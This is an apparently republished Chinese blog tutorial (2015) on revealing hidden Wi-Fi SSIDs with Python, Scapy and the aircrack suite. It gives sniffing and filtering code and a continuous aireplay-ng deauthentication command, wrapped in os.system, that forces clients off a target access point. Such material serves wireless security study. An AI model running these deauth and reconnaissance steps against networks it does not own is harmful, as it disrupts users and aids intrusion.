Python: 一键获取隐藏Wi-Fi SSID:利用Python和Scapy发现隐藏无线热点
May 25, 2015
从WiFi万能钥匙导致密码泄漏,到央视“315”晚会曝光无线的危险,到前几天京东因无线密码泄漏导致被内网漫游,让我们不得不开始关注无线安全。因为一旦无线被破解,以目前的无线架构的特点来说,基本上就等于进了家门,危险程度还是很高的。
关于无线内网的嗅探和劫持,大家可以关注我之前写的两篇文章: MITMf框架攻击 中间人SSL证书劫持 ,MITMf近来更新的功能非常多,玩起来也很带感,喜欢搞内网的朋友不妨多关注一下。
好了以上全是废话,今天主要想跟大家聊聊如何找出隐藏无线SSID的。
0×00 说说已有的东西
如何找出隐藏无线热点SSID不是一个新的话题,网上搜一下,这种教程也很多,不过大多数是需要借助一些工具比如wireshark或者 CommView等来进行抓包操作辅助完成,大体的方式和流程是像这样:
这样:
这样:
这样:
这样就找到了我们的无线热点了。不多做解释,需要的同学请自行百度。
其实这样的方式也没有什么不好的,因为我比较懒,所以有了这篇文章。
0×01 大体思路
思路是这样的:
1、判断周围环境是否存在隐藏无线热点 2、根据隐藏无线热点特征获取无线热点的BSSID 3、使用aireplay对目标热点进行攻击使客户端下线重连 4、重连过程中抓取包请求同时进行包过滤获取有用信息 5、得到隐藏热点的SSID
0×02 测试环境
惯例说一下测试环境:
系统: Ubuntu14.04 Python版本:2.7.6 工具: aircrack套(主要使用airmon-ng和aireplay工具)
0×03 启用监听模式
首先我们需要把我们的网卡启动到监听模式。这里就需要用到aircrack套件了。
使用以下命令开启监听模式:
sudo airmon-ng start wlan0
这里因为我需要最终写到python中,所以使用了os.popen()函数来执行这条命令。
贴上这部分python代码:
#判断是否开启监听模式 ifa = os.popen('ifconfig | grep mon0 | cut -d " " -f 1') ifb = ifa.read() if ifb != 'mon0\n': print '正在开启监听模式……\n' f = os.popen('airmon-ng start wlan0') f.read() f.close if ifb == 'mon0\n': pass ifa.close()
0×04 发现隐藏无线热点
FreeBuf小知识
介绍这部分之前,我们需要首先了解一些关于嗅探到的包的信息,以便于我们后文可以对包进行过滤操作:
wlan.fc.type == 0 管理帧(Management frames) wlan.fc.type == 1 控制帧(Control frames) wlan.fc.type == 2 数据帧(Data frames) wlan.fc.type_subtype == 0 关联请求(Association request) wlan.fc.type_subtype == 1 关联响应(Association response) wlan.fc.type_subtype == 2 重连请求(Reassociation request) wlan.fc.type_subtype == 3 重连响应(Reassociation response) wlan.fc.type_subtype == 4 帧请求(Probe request) wlan.fc.type_subtype == 5 帧响应(Probe response) wlan.fc.type_subtype == 8 信标(Beacon)
/FreeBuf小知识
因为我们这里主要是为了发现隐藏的无线热点,而隐藏SSID只能在连接请求和连接响应中获取,但是连接请求中可能会出现我们不想要的内容(比如手机记忆的但是非我们想要的SSID),所以这里我们主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要获取周围设备所记忆的无线热点名称,则可以用subtype=4辅助发现,这里我们不多做解释。
接下来我将一步一步解释我做这个时所遇到的问题。
首先,我们需要先发现周围的无线热点,发现无线的代码如下:
def PacketHandler(pkt): if pkt.haslayer(Dot11): if pkt.type == 0 and pkt.subtype == 8: if pkt.addr2 not in aps: aps.append(pkt.addr2) cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") if re.search('privacy', cap): a = '加密状态:Yes\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info) with open('test.txt', 'a+') as t: t.write(a+'\n') print a else: b = '加密状态:No\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info) with open('test.txt', 'a+') as t: t.write(b+'\n') print b sniff(iface = 'mon0', prn = PacketHandler)
执行之后的结果是这样的
嗅探结果就是这样的,可以看出周围的无线环境比较复杂,小编能在如此复杂的网络环境中保持一颗纯真的童心,实属不易。
细心的同学可能已经发现了,这里的无线混入了一个奇怪的东西:
没错,这个空空的SSID就是我建的隐藏无线热点,到这里就简单啦,只要判断SSID是否为空值就可以了,然后根据空值判断出周围存在隐藏无线,从而获取到BSSID,好像很轻松嘛,可是事实真的如此吗?
在我想要按照以上思路走的时候我才发现事实并非如此。用SSID为空的条件根本获取不到任何东西,这就奇怪了,于是我将无线信息写入到一个文本中,想看一下究竟发生了什么,结果如下:
终于恍然大悟,我解释一下,看明白的直接略过这一步:
隐藏SSID的无线的SSID其实并非为空值,而是将所有的SSID字符以十六进制的0×00进行填充,因为我们的设备都无法正常显示0×00这个值,所以看起来就像是空值。
知道了原因就好解决了,我使用了binascii库进行了值的转换,解决代码如下:
if binascii.hexlify(pkt.info)[:2] == '00':#判断名称是否为空 print '发现隐藏无线热点! BSSID是 %s\n' %pkt.addr2
因为我们无法确定目标热点的SSID究竟使用了几个字符,而一般的无线名称是不会出现0×00这个值的,因此我切取了前两个值进行判断。
0×05 获取BSSID并进行攻击
获取BSSID代码如下:
if binascii.hexlify(pkt.info)[:2] == '00': addr = pkt.addr2
好吧就是一个赋值操作 (唉?谁扔的臭鸡蛋?你出来!)
然后进行攻击:
攻击的过程实际就是向热点发送deauth包,然后强制客户端下线,这里我们使用aireplay,命令如下:
aireplay-ng --deauth 0 -a addr mon0 --ignore-negative-one
执行结果是这样的:
攻击一会儿我们的目的就达到了,然后手动停止攻击,写成python代码如下:
os.system('aireplay-ng --deauth 0 -a '+addr+' mon0 --ignore-negative-one')
但是需要注意的是,在我实际测试的过程中,即便是不进行攻击操作也是可以获取到SSID的,所以如果不是长时间无法获取SSID,一般我们不用这个。
0×06 抓取过滤
接下来就是抓包时间,同时对抓到的包进行过滤处理,主要代码如下:
if pkt.haslayer(Dot11): if pkt.addr2 == addr: try: #print pkt.info#该行为调试行 if binascii.hexlify(pkt.info)[:2] != '00': if pkt.addr2 not in aps2: aps2.append(pkt.addr2) cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") print '隐藏无线热点名称是:'+pkt.info+'\n' if re.search("privacy", cap): print pkt.info+'已加密' else: print pkt.info+'未加密' print '正在关闭监听模式……\n' time.sleep(1) t = os.popen('airmon-ng stop mon0') t.read() t.close except: pass
这里对代码进行简单的操作说明:
1、这里我做了容错处理,因为在实际使用过程中会出现稍长时间的sniff会直接报错退出,原因大概是部分包并不存在pkt.info属性导致 2、这里使用aps2[]数组进行了简单的输出限制,防止同一个BSSID多次重复被记录 3、cap参数格式化存储了无线的加密部分的信息,以便于下文的加密判断 4、完成任务后自动关闭监听模式。这里没有进行枚举,如果你自行开启监听模式,端口为mon1,2,3……将无法关闭,注意一下
0×07 运行结果
工具介绍完了,然后我们运行一下,结果如下:
再附上一张使用了aireplay攻击后的图片:
0×08 写在最后
惯例总结一下,工具没什么难度,而且也不甚完善,如果有小伙伴有更好的解决方案欢迎在下面吐槽交流,欢迎各种不涉及人身攻击的各种喷
目前也在写其他的关于无线的小玩意儿,以后再跟大家分享。白白!
最后奉上源代码: https://github.com/linvex/DiscoverHiddenSSID
0 Comments